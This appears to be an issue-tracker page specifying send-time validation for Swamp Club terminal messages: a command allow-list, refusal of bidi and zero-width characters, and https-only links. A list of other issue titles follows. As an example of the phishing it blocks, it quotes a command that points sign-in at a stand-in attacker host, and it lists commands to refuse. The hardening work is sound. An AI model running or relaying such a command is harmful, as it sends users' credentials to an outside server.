Lab #4086: Swamp Club inbox send-time checks match the CLI from #4079: an allow-list for action commands, no bidi or zero-width characters, and absolute https-only body links

Summary

Bring Swamp Club's send-time checks for terminal messages in line with the stricter rules the swamp CLI applies from swamp-club#4079. The CLI now drops or rewrites three things that Swamp Club still accepts:

an action command outside a short allow-list
bidi and zero-width characters
body links that are not absolute https: URLs

Today an author gets no warning; the message sends, and the CLI silently drops the action or prints (link removed). Refuse these at send time and on edit, with a clear error, so what an author sends is what users see.

The CLI is the stricter side, so shipping it first is safe. Ship this soon after, so authors stop sending content that gets dropped.

Validation lives in lib/domain/notification/terminal-message.ts (assertInboxAction, assertTerminalMessage, isSafeSwampCommand). Its comment says the limits mirror swamp's src/infrastructure/http/inbox_schemas.ts, and #4079 changes that file.

1. Action command allow-list

Keep SAFE_SWAMP_COMMAND_RE and the 200-character limit. In addition, the command must match one of the CLI's INBOX_ACTION_COMMANDS (#4079, src/infrastructure/http/inbox_schemas.ts):

Command	Argument
`swamp update`	none
`swamp quest`	none
`swamp inbox`	none
`swamp inbox read`	none
`swamp subscription status`	none
`swamp subscription start`	none
`swamp subscription start --collective <slug>`	one word matching `^[a-z0-9][a-z0-9-]*$`
`swamp extension pull <name>`	one word matching `^@[a-z0-9_-]+/[a-z0-9_-]+(/[a-z0-9_-]+)*$`
`swamp extension search <words>`	one or more words, each matching `^[A-Za-z0-9_][A-Za-z0-9_-]*$`
`swamp issue get <number>`	one word matching `^[1-9][0-9]*$`

Words are separated by single spaces.
No other words are allowed after the argument.
Any word containing :// is refused, whatever its position.

Error: action.command must be one of the commands the swamp CLI shows: swamp update, swamp quest, … (list them all).

This closes a phishing path. Without the list, a message could suggest swamp auth login --club https://evil.example, which sends the user's sign-in to another server, and an agent relaying the message might run it.

2. Bidi and zero-width characters

The CLI strips these from title, kind, action.label, body and link:

U+061C
U+200B to U+200F
U+202A to U+202E
U+2060
U+2066 to U+2069
U+FEFF

A right-to-left override can make a terminal show a link reversed, and a zero-width space can split a host name invisibly. Refuse them at send time in title, label and body, with an error naming the field.

3. Body links

The CLI prints each link in a message body as text (href), using the URL as parsed. A look-alike host therefore shows as punycode. A link that is not an absolute https: URL, or that carries a username or password, prints as text (link removed). That includes site-relative links like [pricing](/pricing), which the CLI cannot resolve.

At send time, check every link in the body: inline links, reference links and autolinks.

Resolve site-relative links against the public origin, as isTerminalLink already does for the link field, and store them absolute.
Refuse anything that is still not https: without a username or password.
When a host's punycode form differs from what was typed, which means non-ASCII characters, show the author a warning with both forms. Don't refuse it.

Keeping the two sides in step

Test the new rules against a table of the same inputs the CLI's inbox_schemas_test.ts uses. Every allowed shape must pass; auth login --club …, auth logout, workflow run x, any :// word and --repo-dir must be refused.
Put a comment next to the allow-list naming INBOX_ACTION_COMMANDS in the swamp repo, so the next change to either list touches both.

Acceptance

An action outside the allow-list is refused at send and on edit, with the list in the error
Bidi and zero-width characters in title, label or body are refused, naming the field
Body links are stored absolute and https:-only; other links are refused, and a non-ASCII host gets a warning
Messages already stored are not changed. The CLI handles them as #4079 describes
The admin composer preview (#4020) shows the same result the CLI would

Out of scope

The CLI side (#4079)
Rate limits and segments (#4020)

Docs: behavior type describe and model get output now include method kind and kindSource

issue-lifecycle: ship takes an optional release version and records it as the issue's fixed-in version

agent-runner: record token usage and cost on runResult (Claude --output-format json, Codex --json)

swamp skill docs: publishing.md contradicts itself on dynamic imports, overstates where git dependencies are listed, and never says consumers keep the publisher's bundle

extension push: the dynamic import() refusal tells authors to run swamp extension fmt, and the archive-project-file fix names the kind directory push never filters

extension push: file:, link:, workspace: and git package.json dependencies are left out of the unaudited list when the project also has a deno.json

push (Apple Containers) makes an index whose platform manifest is unpullable on Forgejo

Streak projector: incremental runs instead of a full scan every minute

Studio board: "Show finished" / "Show claimed" are pushed off-screen, with no scroll, when a factory has many stages

datastore v3: a parent run recording its child's rejected approval on a nested step is judged as needing approve

Scheduled flaky-test detection is failing

Registry: detect code from outside npm and JSR in a v2 archive itself, not only from the author's dependency-audit.json

Scorecard: code past the analyzer's read caps, or unreadable, is skipped silently instead of counting as not audited

Datastore v2 on macOS: order data-version writes with F_BARRIERFSYNC instead of full syncs

@swamp/cloudflare/analytics README documents CRUD methods the GraphQL analytics model does not have

Datastore v3: data writes the datastore filter keeps local are never fsynced

Docs: doctor datastores reference — unreadable data version check and repair (swamp-club#3955)

judgeRunRecord lets a forged record settle a waiting approval gate to skipped without an approve

Claude audit hook misses PowerShell tool calls and sessions started above the swamp repo

access can-i: evaluate a local grants file without --server

Support search and filters as URL query parameters on /extensions

bundleExtension same-cache test can pass with a broken first-bundle gate under CPU load

Five Mongo queues can hand the same row to two replicas

Collective invite shows "This invitation has expired or has already been used" after a successful join via Google sign-in

Move the Zod argument-field extractor into @swamp-club/extension-scoring so the CLI and registry read schemas alike

serve: dispatch to an idle worker waits for its worker_busy write on the shared gateway transition tail

serve: worker enrollment resolves and creates the worker definition inside the serialized gateway transition tail

Rescore every extension's current version under rubric v5

stagecraft studio ticket columns: round-5 review lows from #3828 (source watch cost, relationText lookup, cross-instance claim)

A long-lived serve client for extensions, and a stable rate_limited error code

swamp serve on a v3 datastore never settles a workflow run left running by a stopped instance: boot reaper skips it as belonging to a remote instance

swamp serve on a v3 datastore: a run interrupted at a clean shutdown is never committed when the bucket is slow, and stays running for every other checkout

Support creating 1Password vaults for new clients

datastore_v3_replica_verify_test stall case flakes under the full integration run: restore.pid is read before the stub writes it

Generated state schemas require every child of nested objects, so normal resources warn on create/get

Add LinkedIn as a login provider

Showcase reward backfill can double-pay 5,000,000 points when replicas start together

Showcase editor: caption counter is not announced to screen readers

Profile showcase read: approved list sorts on review.reviewedAt in memory

Showcase countByStatus: $match live statuses before the $group

Showcase admin queues: index-serve the updatedAt sort on approved/rejected

Annotate and retain past workflow runs and data after the fact

Skill propulsion rule is silent when no transition is satisfied because stage work is outstanding

serve shutdown does not wait for worker status writes, and its listener accepts workers after the gateway is disposed

stagecraft: rename work mode `method` to `behavior`, matching swamp's rename of models to behaviors

auth token create --json fields key and signinToken are undocumented; no token-mode service setup page

trigger.schedule is evaluated in the serve host's local time zone, with no zone field and no doc saying so

telemetry stats says "No telemetry data found" right after successful sends; say the spool is empty because it flushed

Docs: publish typed-secrets Phase 4.6 expression and delivery semantics

Extension registry page: a supported way to include media (images) in the README

Relationships

#4086 Swamp Club inbox send-time checks match the CLI from #4079: an allow-list for action commands, no bidi or zero-width characters, and absolute https-only body links